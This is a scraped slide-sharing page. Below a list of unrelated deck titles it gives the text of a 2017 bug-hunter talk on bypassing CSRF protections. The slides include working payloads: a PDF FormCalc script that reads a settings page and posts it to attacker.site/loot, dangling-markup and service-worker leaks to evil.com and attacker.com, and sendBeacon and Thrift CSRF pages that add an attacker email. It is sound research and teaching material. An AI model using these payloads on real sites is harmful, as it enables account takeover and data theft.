Safe Work Permit Management Software for Hot Work PermitsSafe Work Permit Management Software for Hot Work Permits
Safe Work Permit Management Software for Hot Work Permits
 
FAST Channels: Explosive Growth Forecast 2024-2027 (Buckle Up!)
FAST Channels: Explosive Growth Forecast 2024-2027 (Buckle Up!)FAST Channels: Explosive Growth Forecast 2024-2027 (Buckle Up!)
FAST Channels: Explosive Growth Forecast 2024-2027 (Buckle Up!)
 
Leading Project Management Tool Taskruop.pptx
Leading Project Management Tool Taskruop.pptxLeading Project Management Tool Taskruop.pptx
Leading Project Management Tool Taskruop.pptx
 
Cisco Live Announcements: New ThousandEyes Release Highlights - July 2024
Cisco Live Announcements: New ThousandEyes Release Highlights - July 2024Cisco Live Announcements: New ThousandEyes Release Highlights - July 2024
Cisco Live Announcements: New ThousandEyes Release Highlights - July 2024
 
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdfResponsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
Responsibilities of Fleet Managers and How TrackoBit Can Assist.pdf
 
Google ML-Kit - Understanding on-device machine learning
Google ML-Kit - Understanding on-device machine learningGoogle ML-Kit - Understanding on-device machine learning
Google ML-Kit - Understanding on-device machine learning
 
A Comparative Analysis of Functional and Non-Functional Testing.pdf
A Comparative Analysis of Functional and Non-Functional Testing.pdfA Comparative Analysis of Functional and Non-Functional Testing.pdf
A Comparative Analysis of Functional and Non-Functional Testing.pdf
 
Prada Group Reports Strong Growth in First Quarter …
Prada Group Reports Strong Growth in First Quarter …Prada Group Reports Strong Growth in First Quarter …
Prada Group Reports Strong Growth in First Quarter …
 
MVP Mobile Application - Codearrest.pptx
MVP Mobile Application - Codearrest.pptxMVP Mobile Application - Codearrest.pptx
MVP Mobile Application - Codearrest.pptx
 
Folding Cheat Sheet #7 - seventh in a series
Folding Cheat Sheet #7 - seventh in a seriesFolding Cheat Sheet #7 - seventh in a series
Folding Cheat Sheet #7 - seventh in a series
 
AWS Cloud Practitioner Essentials (Second Edition) (Arabic) Course Introducti...
AWS Cloud Practitioner Essentials (Second Edition) (Arabic) Course Introducti...AWS Cloud Practitioner Essentials (Second Edition) (Arabic) Course Introducti...
AWS Cloud Practitioner Essentials (Second Edition) (Arabic) Course Introducti...
 
Development of Chatbot Using AI\ML Technologies
Development of Chatbot Using AI\ML TechnologiesDevelopment of Chatbot Using AI\ML Technologies
Development of Chatbot Using AI\ML Technologies
 
dachnug51 - All you ever wanted to know about domino licensing.pdf
dachnug51 - All you ever wanted to know about domino licensing.pdfdachnug51 - All you ever wanted to know about domino licensing.pdf
dachnug51 - All you ever wanted to know about domino licensing.pdf
 
Independence Day Hasn’t Always Been a U.S. Holiday.pdf
Independence Day Hasn’t Always Been a U.S. Holiday.pdfIndependence Day Hasn’t Always Been a U.S. Holiday.pdf
Independence Day Hasn’t Always Been a U.S. Holiday.pdf
 
dachnug51 - HCL Sametime 12 as a Software Appliance.pdf
dachnug51 - HCL Sametime 12 as a Software Appliance.pdfdachnug51 - HCL Sametime 12 as a Software Appliance.pdf
dachnug51 - HCL Sametime 12 as a Software Appliance.pdf
 
NYC 26-Jun-2024 Combined Presentations.pdf
NYC 26-Jun-2024 Combined Presentations.pdfNYC 26-Jun-2024 Combined Presentations.pdf
NYC 26-Jun-2024 Combined Presentations.pdf
 
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
Discover the Power of ONEMONITAR: The Ultimate Mobile Spy App for Android Dev...
 
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
Ported to Cloud with Wing_ Blue ZnZone app from _Hexagonal Architecture Expla...
 
ANSYS Mechanical APDL Introductory Tutorials.pdf
ANSYS Mechanical APDL Introductory Tutorials.pdfANSYS Mechanical APDL Introductory Tutorials.pdf
ANSYS Mechanical APDL Introductory Tutorials.pdf
 

Neat tricks to bypass CSRF-protection

  • 1. Neat tricks to bypass CSRF-protection Mikhail Egorov @0ang3el
  • 2.  AppSec Engineer @ Ingram Micro Cloud  Bug hunter & Security researcher  Conference speaker https://www.slideshare.net/0ang3el @0ang3el About me
  • 3.  CSRF-protection bypasses that worked for me in 2016/2017  EasyCSRF extension for Burp Agenda
  • 4.  A lot of WebApps still use cookies for session management  CSRF-protection bypasses  SameSite cookies feature not widely implemented  Supported only by Chrome and Opera browsers  Changes are required on the server-side Why CSRF-attacks works in 2017?
  • 5.  Will be excluded from OWASP Top 10 Project 2017  P2 (High) category in Bugcrowd VRT* (App-Wide CSRF) CSRF in 2017 * https://bugcrowd.com/vulnerability-rating-taxonomy
  • 6.  CSRF token  Double submit cookie  Content-Type based protection  Referer-based protection  Password confirmation (websudo)  SameSite Cookies (Chrome, Opera) Popular CSRF-protections
  • 7.  XSS  Dangling markup  Vulnerable subdomains  Cookie injection  Change Content-Type  Non-simple Content-Type  Bad PDF  Referer spoof CSRF-protections bypasses
  • 8. CSRF Tokens Double Submit Cookie CT-based Referer-based SameSite Cookies XSS All All All All All Dangling markup All - - - All* Subdomain issues All All All - All* Cookie Injection - All - - All* Change CT - - All - All* Non-simple CT - - All with Flash plugin, IE11/FF ESR with Pdf plugin - All* Bad Pdf IE11/FF ESR with Pdf plugin - IE11/FF ESR with Pdf plugin - All* Spoof Referer - - - IE11/FF ESR with Pdf plugin, Edge All* CSRF bypasses – still work for me All – works for all browsers All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
  • 9.  XSS in WebApp allows to bypass the majority of CSRF- protections  Just deal with it!!! Bypass with XSS (1/8)
  • 10.  WebApp has HTML injection but not XSS (CSP, …)  The attacker can leak CSRF-token Bypass with Dangling markup (2/8) <img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea>
  • 11.  Suppose subdomain foo.example.com is vulnerable to XSS or subdomain takeover or cookie injection  The attacker can bypass  CSRF-token protection  Double-submit cookie protection  Content-Type based protection Bypass with subdomain (3/8)
  • 12.  WebApp uses CORS for interaction with subdomains  The attacker can read CSRF-token Bypass with subdomain (3/8) Access-Control-Allow-Origin: https://foo.example.com Access-Control-Allow-Credentials: true
  • 13.  There is an XSS on foo.example.com  Main domain contains crossdomain.xml  The attacker can upload JS files to foo.example.com Bypass with subdomain (3/8) <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy>
  • 14.  The attacker can utilize Service Worker for foo.example.com to read CSRF-token through Flash  Amazon CSRF - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/ Bypass with subdomain (3/8) var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); }
  • 15.  The attacker can inject cookies for parent subdomain and desired path  Browser will choose cookie that has specific path (injected one)  He can bypass double submit cookie CSRF-protection Bypass with subdomain (3/8)
  • 16.  PDF plugin from Adobe support FormCalc scripting  Adobe PDF plugin currently works in IE11 and Firefox ESR  get() and post() methods of FormCalc allow to ex-filtrate CSRF-token  Kudos to @insertScript Bypass with bad PDF (4/8)
  • 17.  Suppose the attacker can upload PDF file to example.com and share it  Uploaded file is accessible through API from example.com  Tip: The attacker tries to upload PDF file as file of another format (image file)  PDF plugin doesn’t care about Content-Type or Content- Disposition headers … it just works … Bypass with bad PDF (4/8)
  • 18. <script contentType='application/x-formcalc'> var content = GET("https://example.com/Settings.action"); Post("http://attacker.site/loot",content,"text/plain"); </script> leak.pdf Bypass with bad PDF (4/8)
  • 19. Bypass with bad PDF (4/8) <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> https://attacker.com/csrf-pdf.html
  • 20.  The attacker can bypass double submit cookie protection through cookies injection  Variants of cookies injection  CRLF-injection  Browser bugs (like CVE-2016-9078 in Firefox)  Etc. Bypass with Cookies injection (5/8)
  • 21.  Developers seriously assume that non-standard data format in the body (i.e. binary) stops CSRF  Sometimes backend doesn’t validate Content-Type header  Bypass by changing CT (6/8)
  • 22. Bypass with PDF plugin (6/8) POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 �addNote � � r �
  • 23. Bypass with PDF plugin (6/8) <script> var request = new XMLHttpRequest(); request.open('POST', 'https://example.com/add/note', true); request.withCredentials = true; request.setRequestHeader("Content-type", "text/plain"); var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55', '0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00']; var bin = new Uint8Array(data.length); for (var i = 0; i < data.length; i++) { bin[i] = parseInt(data[i], 16); } request.send(bin); </script> https://attacker.com/csrf-thrift.html
  • 24.  Via HTML forms or XHR api the attacker can send only “simple” content types  text/plain  application/x-www-form-urlencoded  multipart/form-data Bypass with arbitrary CT (7/8)
  • 25.  How to send arbitrary Content-Type header?  Bugs in browsers (famous navigator.sendBeacon in Chrome)  Flash plugin + 307 redirect  PDF plugin + 307 redirect  Some backend frameworks support URL-parameters to redefine Content-Type http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging Bypass with arbitrary CT (7/8)
  • 26.  Bug in Chrome https://bugs.chromium.org/p/chromium/issues/detail?id=490015  Publicly known for 2 years (2015-2017) - WTF!!!  navigator.sendBeacon() call allowed to send POST request with arbitrary content type Bypass with arbitrary CT (7/8)
  • 27. Bypass with arbitrary CT (7/8) <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> https://attacker.com/csrf-sendbeacon.html
  • 28. Bypass with arbitrary CT (7/8) How it works - http://research.rootme.in/forging-content-type-header-with-flash/
  • 29. Bypass with Referer spoof (8/8)  Bug in MS Edge kudos to @magicmac2000 https://www.brokenbrowser.com/referer-spoofing-patch-bypass/  It still works, but for GET requests only   Maybe your backend doesn’t distinguish GET and POST requests? 
  • 30. Bypass with Referer spoof (8/8) <script contentType='application/x-formcalc'> Post("http://attacker.com:8888/redirect", "{""action"":""add-user-email"",""Email"":""attacker@evil.com""}", "application/json&#x0a;&#x0d;Referer;&#x20;http://example.com") </script>
  • 31. Bypass with Referer spoof (8/8)  PDF plugin will send HTTP header  Some backends (e.g. Jboss / WildFly) treat space as colon (end of the header name) Referer http://example.com Name :Value Referer http://example.com Name :Value
  • 32. Tips for bughunters  There are a lot of APIs that have CSRF-protection based on content type  Check subdomains for vulnerabilities (XSS, subdomain takeover, cookie injection)  Trick with PDF uploading works well  Convert url-encoded body with CSRF-token to JSON format without CSRF-token
  • 33. Tips for bughunters Good news! We can automate some checks!
  • 34. EasyCSRF for Burp  EasyCSRF works for Burp Suite Free Edition, 223 SLOC in Jython  Download from https://github.com/0ang3el/EasyCSRF  Works as Proxy Listener (IProxyListener)  Modifies requests on the fly (removes CSRF parameters/headers, changes method, etc.)  Highlights modified requests in Proxy History  You can visually judge in browser which modified requests are failed/succeeded (error messages, no modification occurred, etc.)
  • 37. EasyCSRF for Burp 1. Change PUT to POST method 2. Remove Origin header 3. Highlight request in Proxy history